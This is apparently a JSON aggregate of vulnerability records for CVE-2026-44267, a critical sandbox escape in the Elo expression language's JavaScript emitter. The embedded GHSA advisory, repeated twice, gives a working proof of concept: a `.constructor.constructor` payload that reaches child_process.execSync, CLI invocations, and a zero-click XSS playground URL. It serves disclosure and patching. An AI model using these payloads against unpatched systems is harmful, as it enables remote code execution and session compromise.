{"id":"CVE-2026-44267","aliases":["EUVD-2026-116111","GHSA-33r5-xmm8-v6x5"],"status":"published","title":"Elo: Sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access in Elo JavaScript emitter","description":"Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, plain Elo strings supplied to defaultFormats.elo.parse(), bin/elo, or elo-lang.org/try can use .constructor.constructor to reach JavaScript Function because the member_access handler in src/transform.ts does not reject meta-properties, src/compilers/javascript.ts emits the surviving property directly, and src/parser.ts accepts constructor as an ordinary identifier. The resulting generated JavaScript executes attacker-selected code in the host runtime. This permits browser script execution and session compromise on the auto-running playground and arbitrary Node.js code execution on library, CI, or DevOps hosts. This plain-string path is distinct from the programmatic AST-object injection issue. This issue is fixed in version 1.0.1.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00833,"percentile":0.58077,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-1336","CWE-693","CWE-79","CWE-94"],"published":"2026-11-03T17:52:25Z","modified":"2026-11-07T03:20:59Z","exploits":[{"source":"pocgithub","id":"umair-aziz025/CVE-2026-44267","title":"umair-aziz025/CVE-2026-44267","date":"2026-11-04","url":"https://github.com/umair-aziz025/CVE-2026-44267"}],"fixes":[{"ecosystem":"npm","package":"@enspirit/elo","fixed_in":["1.0.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@enspirit/elo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.0.0"},{"fixed":"1.0.1"}]}]},{"source":"osv","ecosystem":"npm","package":"@enspirit/elo","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.0.1"}]}]}],"products":[{"vendor":"enspirit","product":"elo"}],"references":[{"url":"https://github.com/enspirit/elo/security/advisories/GHSA-33r5-xmm8-v6x5","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/enspirit/elo/commit/2136da1f64eec8ebf99890d3100be9394534b842","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/enspirit/elo/commit/d2a89a8db76a244eb740687524a7e8529b7554b5","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/advisories/GHSA-33r5-xmm8-v6x5"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44267.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44267","tags":["advisory"]},{"url":"https://github.com/enspirit/elo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-44267","title":"Elo: Sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access in Elo JavaScript emitter","description":"Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, plain Elo strings supplied to defaultFormats.elo.parse(), bin/elo, or elo-lang.org/try can use .constructor.constructor to reach JavaScript Function because the member_access handler in src/transform.ts does not reject meta-properties, src/compilers/javascript.ts emits the surviving property directly, and src/parser.ts accepts constructor as an ordinary identifier. The resulting generated JavaScript executes attacker-selected code in the host runtime. This permits browser script execution and session compromise on the auto-running playground and arbitrary Node.js code execution on library, CI, or DevOps hosts. This plain-string path is distinct from the programmatic AST-object injection issue. This issue is fixed in version 1.0.1.","status":"published","published":"2026-11-03T17:52:25.509Z","modified":"2026-11-07T03:20:59.234Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-79","CWE-94","CWE-693","CWE-1336"],"updated_at":"2026-11-07T04:32:31.343254Z"}],"euvd":[{"id":"EUVD-2026-116111","description":"Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, plain Elo strings supplied to defaultFormats.elo.parse(), bin/elo, or elo-lang.org/try can use .constructor.constructor to reach JavaScript Function because the member_access handler in src/transform.ts does not reject meta-properties, src/compilers/javascript.ts emits the surviving property directly, and src/parser.ts accepts constructor as an ordinary identifier. The resulting generated JavaScript executes attacker-selected code in the host runtime. This permits browser script execution and session compromise on the auto-running playground and arbitrary Node.js code execution on library, CI, or DevOps hosts. This plain-string path is distinct from the programmatic AST-object injection issue. This issue is fixed in version 1.0.1.","status":"published","published":"2026-11-03T17:52:25Z","modified":"2026-11-07T03:20:59Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-07T04:08:16.282099Z"}],"ghsa":[{"id":"GHSA-33r5-xmm8-v6x5","title":"Elo JavaScript emitter has sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access","description":"### Summary\n\nAn unauthenticated attacker who controls a string passed to any Elo JavaScript-emission path — `defaultFormats.elo.parse()`, the `bin/elo` CLI, or the live browser playground at `elo-lang.org/try` — can execute arbitrary code in the host JavaScript runtime. A payload built from the `.constructor.constructor` chain compiles, without modification, to a live `Function` invocation in the emitted JavaScript, escaping any sandbox assumption around \"Elo is a safe data/DSL language.\"\n\n### Vulnerable sink and root cause\n\nThree interacting sites in `src/` produce the bug at commit `749af7b`:\n\n1. **`src/transform.ts:144–158`** — the `member_access` handler allows access on types `any`, `object`, or `array` without filtering the property name. This is the only place an integrator could have plugged a denylist.\n2. **`src/compilers/javascript.ts:210`** — the JS emitter writes `${objectExpr}.${ir.property}` verbatim into the output, so any property name that survives the transform step flows unescaped into emitted JavaScript.\n3. **`src/parser.ts:163–170, 748–750`** — the parser accepts `constructor` (and other JS meta-property names) as an ordinary identifier, so `.constructor` clears type-checking without triggering any warning.\n\nCombined, the Elo expression `({}).constructor.constructor('…')()` compiles to a live `Function('…')()` call in the emitted JS, executing in the realm of whichever sink runs the compiled code.\n\n### Attack surfaces\n\nAll three surfaces share the same root cause (no denylist in `transform.ts`) and are addressed by the same one-file patch:\n\n| # | Entry point | Threat model |\n|---|---|---|\n| 1 | Browser playground — `https://elo-lang.org/try/?code=…\u0026run=1` | **0-click XSS / account takeover** against elo-lang.org. `?run=1` triggers `setTimeout(() =\u003e this.run(), 100)` in `playground_controller.ts:531`; the server issues a 301 that preserves `?code=`. Any shared URL that contains a payload compromises the visitor's session on elo-lang.org. |\n| 2 | `bin/elo` CLI | **RCE on CI / DevOps hosts.** Both `node bin/elo payload.elo` and `node bin/elo -e \"_\" -d @payload.elo -f elo` fire. The `-f elo` path is especially severe: the flag exists to pass user-supplied files as *data* into an Elo pipeline. No integrator expects a data-format flag to shell out to `/usr/bin/id`. |\n| 3 | Library API — `defaultFormats.elo.parse()` | **Node.js RCE for any downstream integrator** using Elo as a rule engine, configuration DSL, or form builder DSL (the primary documented use cases). |\n\n### Proof of Concept\n\n**Common payload (works on all three entry points):**\n\n```elo\n({}).constructor.constructor('return this.constructor.constructor(\\'return process\\')().mainModule.require(\\'child_process\\').execSync(\\'id\\').toString()')()\n```\n\n**Library API** — `poc-minimal.js`:\n\n```js\n// npm install elo\nconst { defaultFormats } = require('elo');\n\nconst payload = \"({}).constructor.constructor('return this.constructor.constructor(\\\\'return process\\\\')().mainModule.require(\\\\'child_process\\\\').execSync(\\\\'id\\\\').toString()')()\";\n\nconsole.log(defaultFormats.elo.parse(payload));\n// → uid=1000(ultrasupara) gid=1000(ultrasupara) groups=…\n```\n\n**CLI** — `poc-cli.sh`:\n\n```sh\nnode bin/elo payload.elo\n# uid=1000(ultrasupara)…\n\nnode bin/elo -e \"_\" -d @payload.elo -f elo\n# uid=1000(ultrasupara)…\n```\n\n**Browser playground** — 0-click XSS URL:\n\n```\nhttps://elo-lang.org/try/?code=%28%7B%7D%29.constructor.constructor%28%27alert%28document.domain%29%27%29%28%29\u0026run=1\n```\n\nOpening this URL causes `alert(document.domain)` to fire automatically after ~100 ms with no user interaction beyond navigating to the link. The 301 redirect preserves the `?code=` parameter intact. End-to-end execution on the live production site was captured in a screen recording attached to the original report.\n\n### Independence from GHSA #3 (AST-API injection)\n\nThis finding is independent of the Medium-severity AST-API report (GHSA #3). That fix's identifier regex `^[a-zA-Z_][a-zA-Z0-9_]*$` happens to accept `constructor`, and its threat model requires an attacker-controlled AST *object* rather than a plain string. The current finding requires only a plain Elo string, which is a strictly weaker attacker model.","status":"published","published":"2026-11-03T17:53:42Z","modified":"2026-11-03T17:53:43Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-79","CWE-94","CWE-693","CWE-1336"],"updated_at":"2026-11-03T17:59:55.458475Z"}],"nvd":[{"id":"CVE-2026-44267","description":"Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, plain Elo strings supplied to defaultFormats.elo.parse(), bin/elo, or elo-lang.org/try can use .constructor.constructor to reach JavaScript Function because the member_access handler in src/transform.ts does not reject meta-properties, src/compilers/javascript.ts emits the surviving property directly, and src/parser.ts accepts constructor as an ordinary identifier. The resulting generated JavaScript executes attacker-selected code in the host runtime. This permits browser script execution and session compromise on the auto-running playground and arbitrary Node.js code execution on library, CI, or DevOps hosts. This plain-string path is distinct from the programmatic AST-object injection issue. This issue is fixed in version 1.0.1.","status":"published","published":"2026-11-03T18:18:03.13Z","modified":"2026-11-07T04:17:30.07Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-79","CWE-94","CWE-693","CWE-1336"],"updated_at":"2026-11-07T07:04:25.467195Z"}],"osv":[{"id":"CVE-2026-44267","title":"Elo: Sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access in Elo JavaScript emitter","description":"Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, plain Elo strings supplied to defaultFormats.elo.parse(), bin/elo, or elo-lang.org/try can use .constructor.constructor to reach JavaScript Function because the member_access handler in src/transform.ts does not reject meta-properties, src/compilers/javascript.ts emits the surviving property directly, and src/parser.ts accepts constructor as an ordinary identifier. The resulting generated JavaScript executes attacker-selected code in the host runtime. This permits browser script execution and session compromise on the auto-running playground and arbitrary Node.js code execution on library, CI, or DevOps hosts. This plain-string path is distinct from the programmatic AST-object injection issue. This issue is fixed in version 1.0.1.","status":"published","published":"2026-11-03T17:52:25.509Z","modified":"2026-11-10T10:47:34.680982175Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-1336","CWE-693","CWE-79","CWE-94"],"updated_at":"2026-11-08T03:29:52.421856Z"},{"id":"GHSA-33r5-xmm8-v6x5","title":"Elo JavaScript emitter has sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access","description":"### Summary\n\nAn unauthenticated attacker who controls a string passed to any Elo JavaScript-emission path — `defaultFormats.elo.parse()`, the `bin/elo` CLI, or the live browser playground at `elo-lang.org/try` — can execute arbitrary code in the host JavaScript runtime. A payload built from the `.constructor.constructor` chain compiles, without modification, to a live `Function` invocation in the emitted JavaScript, escaping any sandbox assumption around \"Elo is a safe data/DSL language.\"\n\n### Vulnerable sink and root cause\n\nThree interacting sites in `src/` produce the bug at commit `749af7b`:\n\n1. **`src/transform.ts:144–158`** — the `member_access` handler allows access on types `any`, `object`, or `array` without filtering the property name. This is the only place an integrator could have plugged a denylist.\n2. **`src/compilers/javascript.ts:210`** — the JS emitter writes `${objectExpr}.${ir.property}` verbatim into the output, so any property name that survives the transform step flows unescaped into emitted JavaScript.\n3. **`src/parser.ts:163–170, 748–750`** — the parser accepts `constructor` (and other JS meta-property names) as an ordinary identifier, so `.constructor` clears type-checking without triggering any warning.\n\nCombined, the Elo expression `({}).constructor.constructor('…')()` compiles to a live `Function('…')()` call in the emitted JS, executing in the realm of whichever sink runs the compiled code.\n\n### Attack surfaces\n\nAll three surfaces share the same root cause (no denylist in `transform.ts`) and are addressed by the same one-file patch:\n\n| # | Entry point | Threat model |\n|---|---|---|\n| 1 | Browser playground — `https://elo-lang.org/try/?code=…\u0026run=1` | **0-click XSS / account takeover** against elo-lang.org. `?run=1` triggers `setTimeout(() =\u003e this.run(), 100)` in `playground_controller.ts:531`; the server issues a 301 that preserves `?code=`. Any shared URL that contains a payload compromises the visitor's session on elo-lang.org. |\n| 2 | `bin/elo` CLI | **RCE on CI / DevOps hosts.** Both `node bin/elo payload.elo` and `node bin/elo -e \"_\" -d @payload.elo -f elo` fire. The `-f elo` path is especially severe: the flag exists to pass user-supplied files as *data* into an Elo pipeline. No integrator expects a data-format flag to shell out to `/usr/bin/id`. |\n| 3 | Library API — `defaultFormats.elo.parse()` | **Node.js RCE for any downstream integrator** using Elo as a rule engine, configuration DSL, or form builder DSL (the primary documented use cases). |\n\n### Proof of Concept\n\n**Common payload (works on all three entry points):**\n\n```elo\n({}).constructor.constructor('return this.constructor.constructor(\\'return process\\')().mainModule.require(\\'child_process\\').execSync(\\'id\\').toString()')()\n```\n\n**Library API** — `poc-minimal.js`:\n\n```js\n// npm install elo\nconst { defaultFormats } = require('elo');\n\nconst payload = \"({}).constructor.constructor('return this.constructor.constructor(\\\\'return process\\\\')().mainModule.require(\\\\'child_process\\\\').execSync(\\\\'id\\\\').toString()')()\";\n\nconsole.log(defaultFormats.elo.parse(payload));\n// → uid=1000(ultrasupara) gid=1000(ultrasupara) groups=…\n```\n\n**CLI** — `poc-cli.sh`:\n\n```sh\nnode bin/elo payload.elo\n# uid=1000(ultrasupara)…\n\nnode bin/elo -e \"_\" -d @payload.elo -f elo\n# uid=1000(ultrasupara)…\n```\n\n**Browser playground** — 0-click XSS URL:\n\n```\nhttps://elo-lang.org/try/?code=%28%7B%7D%29.constructor.constructor%28%27alert%28document.domain%29%27%29%28%29\u0026run=1\n```\n\nOpening this URL causes `alert(document.domain)` to fire automatically after ~100 ms with no user interaction beyond navigating to the link. The 301 redirect preserves the `?code=` parameter intact. End-to-end execution on the live production site was captured in a screen recording attached to the original report.\n\n### Independence from GHSA #3 (AST-API injection)\n\nThis finding is independent of the Medium-severity AST-API report (GHSA #3). That fix's identifier regex `^[a-zA-Z_][a-zA-Z0-9_]*$` happens to accept `constructor`, and its threat model requires an attacker-controlled AST *object* rather than a plain string. The current finding requires only a plain Elo string, which is a strictly weaker attacker model.","status":"published","published":"2026-11-03T17:53:42Z","modified":"2026-11-03T18:02:25.92517454Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-1336","CWE-693","CWE-79","CWE-94"],"updated_at":"2026-11-03T18:31:18.863855Z"}]}}
